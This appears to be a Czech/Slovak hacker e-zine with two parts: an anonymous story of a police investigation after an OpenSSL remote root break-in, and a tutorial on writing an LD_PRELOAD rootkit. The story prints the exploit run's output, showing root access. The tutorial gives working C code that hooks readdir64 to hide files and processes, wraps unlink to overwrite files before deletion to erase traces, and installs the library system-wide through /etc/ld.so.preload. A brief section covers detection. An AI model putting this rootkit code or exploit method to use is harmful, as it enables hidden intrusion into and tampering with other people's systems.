clovicek se zaposloucha aby urcil smer odkud zvukovy signal obdelnikoveho prubehu mohl zaznit a zhruba mohl odhadnout kde by mohl mobil lezet a ucinit tak spravny vypad a chopit se ho za vynalozeni co nejmensiho usili. telefon mam v ruce:
sms znela zhruba takto: “zdar CLOVICEK ve skole byli policajti, kdyz sli do sborovny tak tam odtud vysel tridni a at te sezenu tak sem mu rek ze nejsi ve skole. mozna chteli neco tobe”
to je spatny. doufam ze se fakt neschaneli po me.
do <&rt; takovou vostudu mi udelat ve skole! v ruce trimam obalku s modrym prouzkem (pro neznale – obsilka policie cr). predvolani k vyslechu.
“co jste delal dne ??.??. 2002 ?” rika ramenaty serzant XXX v uniforme. je opaleny ackoli venku je namraza a pada snich. bude mu asi tak neco k 30, ale jeho vek se da spatne odhadnout – sekac, rikam si, asi chodi ze stanice rovnou do posilky, pak do solarka a pak na diskoteku zbalit naky clueless kundicky. frajirek k pohledani. rozhoupal jsem se k odpovedi: “nevim, je to pulrok zpatky, to si uz nepamatuju – prominte, kdybych to tusil ze to chcete vedet, zavedu si denicek” povidam. po serzantove tvari preletl sadisticky usklebek, ale odveta se nekonala. tohle nebylo dobre. zda se ze nejsem svedek, ale podezrely, taky to tam mohli rovnou napsat. nu dobra, vtipkovat uz nebudu.
“dobre” povida serza, “slysel jste nekdy o firme FOOBAR?” … na to vem jed ze slysel, snazim se vypadat jako bych o tom nic nevedel: “ne.”
/* cca. pred pul rokem od data predchoziho deje: sh-2.03# cat scanresults/1.2^16 | grep vuln 1.2.3.4: ssl vuln at port 995 sh-2.03# exp/priv/brm -h 1.2.3.4:995 -c 0 -o 0xbffffff0 openssl 0.9.6b remote (root) exploit (c) 2002 CLOVICEKPRIVATE CODE! SPREAD/USER ONLY WITH AUTHOR'S PERMISSION. Attacking 1.2.3.4:995 [1.2.3.4], offset=bffffff0, conncnt=0 Ja pata! The 1.2.3.4 _is_ vulnerable (nextchunk=0x08157fc8, cipher=0x406f90ac) scanning from 0xbffffff0 #625 - trying 0xbffff62c (get server verify: Malformed packet size) bug exploited sucessfuly. enjoy! Linux ns.FOOBAR.cz 2.4.19 #1 Wed Sep 15 18:02:18 CEST 2002 i686 unknown uid=0(root) gid=0(root) groups=8(mail) */
tak a je to. chtel sem to – mam to mit. podcenil jsem legislativu v cechach, zatracene podcenil. vyslech pokracoval banalitami kdy jsem vymyslel pohadky do protokolu. nerikat nic a nebo uplne nesmysly se nevyplaci, s policii uz nejake zkusenosti mam a to bych se moch z fizlarny dostat domu klidne i druhej den. konec, mam se prej dostavit znova pristi tejden. vyjdu z fizlarny, zapnu mobil. asi za hodinu vola jeden kamos z univerzity.
“do pici co se to deje, dostal sem obsilku od policie k vyslechu, dneska rano sem tam byl a ptali se me na tebe a mely naky cernobily video z komp labaku kde sedis vzadu u kompu a ja kecam s adminem”
je to jasne, univerzita. postupne se mi stripky davaji dohromady jak se toho vseho asi mohli domaknout. toho dne kdy se behalo po FOOBAR jsem sedel na univerzite. zrejme tam udelaly nejaky halo.
“neptali se te kdo je ten clovek vzadu u pocitace, to jest ja, ze ne ?” “jo, jak to vis?” rika. “a ty jsi jim to rek?” … “jasne ze jo, ty vole dyk sou to policajti”
je to jasny. jasny jak facka. v tomto smeru asi nema moc cenu to zatloukat. jdu do inet kavarny, ta narozdil od univerzity stoji penize, ale za techto okolnosti… nelezu na irc, nectu regular mejly, nechci do toho zatahnout dalsi lidi. neexistuju. offline. pisu email znamymu jez ma co do cineni s internetem na univerzite, jestli nebyl nekdy v posledni dobe nejaky problem, nejakou chvili to potrva.
crrrrrrrrr. zvonek. pak ticho, jenom kroupy za oknem jako by se zblaznili, mlati do okenich skel v odpoved zvonku. tvori to docela cool duet.
crrrrrrrrr. a klepani na dvere.
jakej cur* v 11 vecer ? jeste sem si ani nepustil sve oblibene porno. vyhrabu se z postele, killnu mplayer s peckem, jdu otevrit.
dva fizlove.
“vase bydliste je predmetem domovni prohlidky.” o soudni rozhodnuti nemusim zadat, vyndal ho sam. co se dalo dale si pamatuju jen mlhave. zlej sen. asi jeste moc rozespalej, kamos rika ze porno otupuje, mozna ma pravdu, kazdopadne v tomhle pripade to nebylo vubec na skodu. vtrhli dovnitr, mama vyjevene vyleze z pokoje.
cvak. cvak.
mam pouta.
no toto. tohle je fakt cool. maj na to vubec pravo ? sem podelanej az za usima.
podle bordelu a smradu cigaret a otevrenych dveri jdou na jisto do meho pokoje, zbytek je nezajima.
postup odkoukany od warezaku ?
berou vsecko co vypada computeroidne, seriaky, napajeci snury, cdcka, diskety, ide kabely, takrka rozebranou 386ku obsahujici uz jenom motherboard a cpou to do pytlu jako by to byl sber surovin. ono taky jo, je to starej srot. a ted muj pocitac. stojim ve dverich pokoji, v ocich slzy. tohle je fakt drsny. kdyz vemou otevrenej case a znej vypadne cdromka a disketovka (nikdy nic v pocitaci neprisroubovavam) zacina ve me vrit krev. fizl se sklidni, napadlo ho pocitac nejdriv vodpojit vod zasufky pac chumac dratu mu pripadal nebezpecny kdyz hucely vetraky. aspon tak.
sou pryc, neni tu nic … ale … jake stesti ze jsem mel v pocitaci jenom 3gb disk s pornem a mp3 (kompletne sifrovanym, btw), abych mel u ceho usnout, protoze ATA100 kabel mel z<&rt; druhou zasuvku (znate to, sou hrozne krehky a ja zastavam nazor ze ked je to hardware, zaslouzi to hrube zachazeni – ved preto asi hard, nie ?), takze muj main 40gb disk byl bezpecne odpojen a hozen pod posteli (kde je neskutecnej binec papiru, kelimku a vseho a uspesne to tam hnije takze se neodvazili tam ani sahnout) abych ho pri sve namesicnosti v noci nerozslap.
kua tak to sem mel fakt kliku. z toho 3gb disku rozsifrujou velky prd pokud vubec budou sto namountovat XFS partisnu *g*
panove, priste si vemte rukavice!
je to dobry, aspon me nesebrali, asi jeste nevi presne za co by mohli.
/* * od tohoto dne, at vyrazim kamkoliv si ssebou beru do baglu disk vedle mobilu, * walkmana, matroshe a tak. doporucuju tez kapsace, sou presne delany na harddisky. */
odpovedi na email sem se dobral druhy den, apaticky chroupajice gumove medvidky v teze kavarne jako vcera (komunikace byla slozitejsi, mobil nepouzivam. maily sli pres jineho clovicka, tohle je jen nepresna reprodukce):
Date: XXX, XX XXX 2002 18:09:37 +0200 From: censoredTo: CLOVICEK@blah Subject: Re: zdravicko
hi,
mno, bylo tady z rektoratu varovani ze tu mame nejakyho hackera ci co a ze jim mame podat pisemnou informaci kdo se konektil na 1.2.3.4 dne ??.??. 2002, v proxy tam bylo par pristupu na web z jednoho pocitace na fakulte XYZ.
mno tak to by jsme meli. univerzita ma asi squid cache, obdivuhodne.
sem v drsne depresi. medvidky nabiram po hrstech a rovnou uz je polykam. neschopen cokoliv delat. beru klavesnici do klina, horecne uvazuju: maji dukaz, zatracene dobrej dukaz, ze stacil i na prohlidku, i kdyz jinak je imho neprukaznej – na koukani se na www neni nic spatneho, na druhou stranu sem nemazal www logy.
v kavarne se nahulvata prihlasim na redirektor.
sh-2.03# ping 1.2.3.4 PING 1.2.3.4 (1.2.3.4): 56 data bytes ^C --- 1.2.3.4 ping statistics --- 4 packets transmitted, 0 packets received, 100% packet loss
argh! nejspis tu masinu vytrhli z ethernetu a mrknul se na to nekdo kdo tomu nejspis rozumi, i kdyz pravda prepisovat rucne /var/log/apache do Wordu musi bejt dost otrava. (protoze nevi jak to z ty “modry obrazovky” (F3-view v MC 🙂 na tom serveru do toho dokumentu jinak dostat 🙂
je mi jasne ze pristi tyden na policii by mohl byt o dost drsnejsi, mozna i cela predbeznyho zadrzeni, pote co vyslechnou vsechny my znamy, nejspis mi mozna i napichli mobil, nastesti vetsina tech hovoru jsou neskodne, po mobilu se zadny spatnosti resit nemaji, napadlo me jestli slyseli muj rozhovor s “kamosem z univerzity”, donuti je to jednat v ramci “ochrany” svedku (tj. zamezeni ovlivnovani svedku ci co)
musim bejt rychlejsi jinak sem v pruseru.
googluju firmu FOOBAR, protoze jejich web – je jak sem jiz zjistil pingem – down. z cache se dovidam kontakty a jadro pudla – sidli ve stejnem meste kde bydlim. no co, aspon nemusim nikam jezdit.
stojim pred zvonkama. maj fakt fasa zvonky na to jakyho maj lame admina. takovy ty kulaty, cetlicky ve slide. kua, proc ja nemam taky takovy zvonky.
najdu FOOBAR, slovo FOOBAR jiz mam vryte do fotograficke pameti a jak ho vidim, nemusim ani uvazovat nad skladanim jednotlivych slabik, ale vzdy mi nevyhnutelne pripomene co znamena.
muze, ackoli zrejme nechtene, zruinovat muj zivot.
zvonim na ten zatracene fasa zvonek.
“firma FOOBAR, prosim ?” “dobry den, ja jsem CLOVICEK, mohl bych navstivit pana SOMENAME? Mam tady nutnou zalezitost ohledne vaseho internetoveho pripojeni, sdelte mu to prosim. dekuji moc.” zasveholim co nejdetinstejsim a nejroztomilejsim hlasem, kteremu se da jen tezko odmitnout.
bzzzzzzzzzz.
nasleduju ceduli, dupu po schodech, knedlik v krku. to co nyni delam je sileny. mam chut to obratit, nekam utect, ale uz je pozde – jsem ohlaseny. je to docela mala firmicka, zabyvajici se vecma naprosto s internetem nesouvisejicima. reditel je mladej, v kapsacich a brichem. “mas barak, auto, hezkou zenu, mozna i dite a po praci jdes s kolegama na paintball” kalkuluju v duchu. sedime v kanclu, s usmevem na tvari zakryvajice muj roztreseny hlas a depresi vykladam mu celou tuhle historii.
mel jsem stesti, zatracene stesti.
cele to bylo o tom ze v danem podniku byl nekdo az prehnane aktivni a kdyz admin ohlasil ze jsou hacked, odvodil z toho ze to je konkurence a chce jim ukrast databazi zakazniku (ktera mimochodem na tom serveru ani nebyla) a na celou vec se najala naka security company. podal sem mu to tak, ze to byla jen cista nahoda a s jeho firmou to nema co do cineni a kdyby se ukazalo ze kecam tak neni problem pokracovat v “trestnim oznameni na neznameho pachatele” jez podala “profesionalni security firma” jez je velice zbehla v klikani ve wordu a mc ale jinak ma asi nejake zajimave znamosti.
finito. happy end. fizlove otravovali jeste chvili, ale na sefika sem asi udelal dojem, nevim jak to zaridil …
inu, a jaka je pointa celeho tohoto ?
policie je neskodna, “security firmy nikoliv”. policie jedna jen kdyz ji nekdo hodi neco na stul a busi do stolu dokavad si to nevyboucha. nepouziva elektronicke postupy, ale psychologicky natlak, sbira dukazy do nejposlednejsiho detailu a az pote uderi. sranda srandouci. jo, kde jsi dastychu, kde jsi, ty jsi mi byl *daleko* sympatictejsi …
ponauceni dnesni bajky ? ackoli to dobre dopadlo mam problemy ve skole a musel sem zaplatit pokutu za prestupek na ktery se to nakonec ututlalo:
vyvaruj se masovemu hackovani (=lack of opatrnost)! alespon ve state kde zijes, o to vic v miste kde bydlis, chces-li se vyhnout vysoce riskantnimu a zbytecnemu precedensu.
vetrak nepravidelne huci, protoze je vykuchanej ze zdroje a na tvrdo prilepenej chemoprenem k chladici procesoru – to si to vedle postele funi muj novej streetbox slatanej ze vseho moznyho co dum/kamosi dal. chudak, ani jeste nema case, nu co, aspon fizlove priste neuvidi “pocitac” a pujdou o dum dal. disk spokojene bruci jak do nej linuxik bezohledne sype swapovany pejdze. ted zabrucel o neco vic protoze sem ulozil tenhle text.
pocitac a muj hardware sem jeste nevidel, nevim jestli jeste vubec nekdy. zatracene, a porno abych stahoval znova.
o cele kauze jsem par mesicu nerek nikomu ani slovo, lepsi kdyz pred podavanim nechame trosku vychladnout …
ach jaj, mam pocitace rad, a ve vezeni zadny nejsou. nezapominej na to!
anonym
navrat na obsah
co ty na to ? board
Chceli by ste mat kontrolu nad velkym poctom unixovych utilit bez pracneho patchovania kazdeho jedneho zdrojaku? Zda sa vam robit lkm prilis zlozite?! Ak ste na obidve otazky odpovedali kladne tak pravdepodobne je tento clanok pre vas! Existuje jedna,jednoduchsia cesta a tou je funkcia ktora sa nazyva preload.Cez preload mozme donutit akekolvek programy ktore splnaju nizsie uvedene podmienky aby robili veci ktore chceme my! Takze…o co ide?
1. Teoria;
Vzhladom na to ze preload je kniznicna zalezitost skusme si zopar veci vysvetlit ako funguju.Na zaciatok zopar pojmov:
.plt - procedure linkage table - je to v podstate redirektor ktory presmeruvava kniznicne volania .got - global offset table - pomaha hladat absolutne adresy ;)
Funkcie z pohladu adries by sme mohli rozdelit na dva typy: – tie na ktore sa odkazujeme absolutnymi adresami – tie pri ktorych pouzivame na ich urcenie sekciu .plt,.got a offset
Nas zaujima ten druhy typ.Vzhladom na to ze adresy v knizniciach nemozu byt absolutne pretoze kniznica je zdielana roznymi procesmi ktore ju mozu mat namapovanu na rozne adresy musi byt pouzity PIC kod.PIC znamena Position independent code tj taky kod ktory nie je zavisli na absolutnej adrese pricom ak je nejaku adresu treba tak sa vypocita.V tomto pripade ma register %ebx ulohu uchovavat adresu GOT takze ak pisete PIC kod v asm tak vam komilator ani %ebx nedovoli pouzit.Skusme teda sledovat ako prebieha volanie takejto funkcie a vobec vsetko pochopit. Nasa modelova situacia vyzera takto:
printf("Hello world!n");
1. Na zasobnik sa ulozi adresa stringu 2. Funkcia call skace do sekcie .plt do “entry” funkcie printf. 3. Na miesto kam sme skocili to vyzera takto:
8048380: jmp *0x80495e8 /* pricom hodnota na (0x80495e8) sa uz nachadza v GOT a v nasom pripade ma hodnotu 0x8048386 */ 8048386: push $0x20 /* tu sa uklada offset */ 804838b: jmp 8048330 /* skaceme na prvu entry v .plt */ zaciatok .plt: 8048330: pushl *0x80495d0 (400161E8) /* adresa GOT+4 */ 8048336: jmp *0x80495d4 /* predame riadenie dynamickemu linkeru ten preda riadenie printf() */ ... 4000AFD3: mov edx, dword [esp+0x10] /* edx == 0x20 */ 4000AFD7: mov eax, dword [esp+0xc] /* eax == 0x400161E8 */ 4000AFDB: call near +0xfffffd84 /* skaceme na 0x4000ad5f */ ...
A do eax nam to vypluje adresu printf() ktora je 0x40074178 pretoze
libc je namapovana do oblasti 4001a000-4013b000 (cat /proc/
poznamka: v pripade ze .plt bude PIC tak sa namiesto absolutnej adresy pouzije relativne adresovanie vzhladom na hodnotu v registri %ebx.
Dobre,vieme teda co sa deje pri spusteni funkcie ,ale k uplnemu pochopeniu budeme potrebovat vediet co sa deje pri spusteni programu.Este pred tym nez sa preda riadenie programu vykona sa mnozstvo veci. Z pohladu kniznic sa deje toto:
1. vytvori sa obraz binarky v pameti 2. vytvoria sa pametove segmenty pre zdielane kniznice 3. realokacia binarky a zdielanych objektov 4. preda riadenie programu
Preload funguje tak ze sa nasa kniznica natiahne po kroku 1. a este pred krokom 2.Cim dosiahneme to ze sa nasa kniznica pouzije este pred vsetkymi ostatnymi kniznicami.Cely tento proces je velmi komplikovany a nie je ucelom tohto clanku ho riesit.Pre nas je skor dolezite vediet ze pri preloade sa pouzije nasa funkcia v printf() v preload kniznici co ma za nasledok asi to ze sa vykona ona a nie ta v libc.
Podmienky: 1. Program sa musi odkazovat na danu funkciu do kniznice 2. Program _nesmie_ byt staticky linkovany 3. V pripade ze program je suid tak aj preload libka musi byt suid (co uz moze byt napadne ale nikto nevravi ze nemozte prekabatit find :))
2. Prax;
Pri robeni takychto kniznic je prakticky povinnostou pouzivat funkciu ktora nam vrati adresu symbolu ktory dostane ako argument. V nasom pripade sa vola getaddr.Mala by vyzerat zhruba nejak takto:void *getaddr(char *symbol) { void *ret; if ((ret = dlsym(RTLD_NEXT, symbol) == NULL) { fprintf(stderr, "dlsym %s error:%sn", symbol, dlerror()); _exit(1); } return ret; }
Mozno sa pytate ako mozme pouzivat dlsym bez toho aby sme pouzili pred nim niekde dlopen() odpoved je ze nemusime.Totizto argument RTLD_NEXT znamena ze symboly bude vyhladavat v kniznicach ktore sa natiahnu az po nas.Co je vyhoda a zaroven aj celkom portabilne.
Nasledne si vyhliadneme dany program,povedzme ze /bin/ls pretoze chceme skryvat nase subory na disku.Zaujimaju nas dynamicke symboly (teda tie ktore sa dynamicky linkuju).
# nm -D /bin/ls|grep readdir U readdir64
Aha! Vidime ze ls pouziva funkciu readdir64().Pozrieme si jej definiciu, a nasledne vypotime nieco co moze vyzerat aj takto:
struct dirent64 *readdir64(DIR * dp) { struct dirent64 *(*real_readdir) (DIR *); struct dirent64 *ent; struct stat sbuf; fchdir(dirfd(dp)); real_readdir = (struct dirent64 * (*)(DIR *)) getaddr("readdir64"); while ((ent = real_readdir(dp)) != NULL) { stat(ent->d_name, &sbuf;); if (sbuf.st_gid != GID) break; } return ent; }
Kazdy jeden subor alebo adresar ktory ma grupu GID bude jednoducho ignorovat. Tymto sposobom mozme v pohode ukryvat aj procesy pretoze dany pid ma v /proc definovaneho vlastnika i grupu.Ako to vyzera v praxi:
[root@hafix root]# ls -l /proc|grep jookie dr-xr-xr-x 3 jookie h4x0r 0 apr 7 19:28 3287 [jookie@hafix jookie]$ id uid=103(jookie) gid=666 skupiny=666 [root@hafix root]# ps xau|grep jookie jookie 3287 0.0 4.0 2284 1256 tty7 S 19:22 0:00 -sh
Po instalacii kniznice uzivatelom jookie do /etc/ld.so.preload (aby to fungovalo globalne).Bude to vyzerat takto.
[root@hafix preload]# ps xau|grep jookie root 3315 0.0 1.2 1404 396 tty6 R 19:26 0:00 grep jookie [root@hafix preload]# ls -l /home|grep jookie [root@hafix preload]#
Takto prekabatime vacsinu programov.Treba si vzdy overit ktoru funkciu pouziva pretoze taky vim pouziva readdir().
V 99% pripadoch bude nutne robit veci pri spustani/vypinani programu. Takyto handler moze sa bud spustat pri zavadzani kniznice do pamete (constructor) alebo ruseni z pamete (destructor).Funkcie takto definovane nesmu brat argumenty a musia byt definovane ako void.Napriklad:
void inito(void) __attribute__((constructor)); void finito(void) __attribute__((destructor));
{con,de}structor uz mame definovany ale s tym este vela nenarobime uzitku:). Treba urobit este wrappre funkcii. Vyhladame si funkciu z kniznice ktoru mame zaujem “obalit”. V nasej kniznici si ju definujeme rovnako, urobime evil cinnost a musime (v podstate nemusime,zavisi od toho co robime) zavolat povodnu funkciu.Na to mame uz spominanu getaddr() ktora nam vrati adresu symbolu ktory je v tomto pripade printf :).
int printf(const char *format,...) { int (*printf_old)(const char *format,...); printf_old = (int (*)(const char *format,...)) getaddr("printf"); printf_old("Hello World!n"); return 13; }
Nerobi to nic ine len zaplni obrazovku vetou “Hello Worldn” vsade tam kde sa vola funkcia printf().Takymto stylom robime wrappre pre vsetky funkcie ktore potrebujeme.Za istych okolnosti sa daju dokonca wrappovat syscally ale to len za predpokladu ze program sa bude na dany syscall odkazovat cez libku.Vsade tam kde sa to riesi priamo cez int 0x80 to fungovat nebude.
Samozrejme tieto wrappre nemusia robit len maskovaciu cinnost,mozu napriklad robit veci vhodne pre utocnika ako je zachovavanie time access attributov, secure delete alebo povedzme odchytavanie logov cez syslog(3).
int unlink(const char *pathname) { int fd, i; char *over; struct stat sbuf; int (*real_unlink) (const char *); if(getgid() == GID && stat(pathname,&sbuf;) != -1) { over = (char *) malloc(sbuf.st_size); fd = open("/dev/urandom", O_RDONLY); read(fd, over, sbuf.st_size); close(fd); fd = open(pathname, O_WRONLY); for (i = 25; i > 0; i--) { write(fd, over, sbuf.st_size); fsync(fd); } close(fd); free(over); } real_unlink = (int (*)(const char *)) getaddr("unlink"); return real_unlink(pathname); }
Aj takto moze vyzerat secure delete verzia unlink() :).Ako mozte vidiet implementacia kazdeho wrappra je silne indiviualna zalezitost a zalezi od potrieb konkretneho jedinca :).
Alebo taka myslienka…co tak menit chovanie preload libky podla toho aka je argv[0]? To by mohlo byt este zaujimavejsie;)
A ako by sa dala prezradit pritomnost tohto typu rootkitu?
Staci dat prakticky na akukolvek binarku ldd.Ta poslusne vypise ze s kym
vsetkym je zlinkovana…mozno ked date nasej preload libke nejaky brutalne
systemovy nazov ze si to nikto nevsimne.ldd vola /lib/ld-linux.so.2 ktory
odkazuje na aktualny dynamicky linker ktory je skompilovany staticky.Riesit sa
to da nejakym vhodnym grepom do ldd alebo patchnutim ld-linux.so.2 .
Potom tu mame este /proc/
3. A na zaver..
Samozrejme kto chce 100% utajenie pouzije lkm;).Je to akysi medzistupen medzi patchovanim systemovych utilit a sprtania sa v jadre.
v92, v92(at)hysteria.sk
navrat na obsah
co ty na to ? board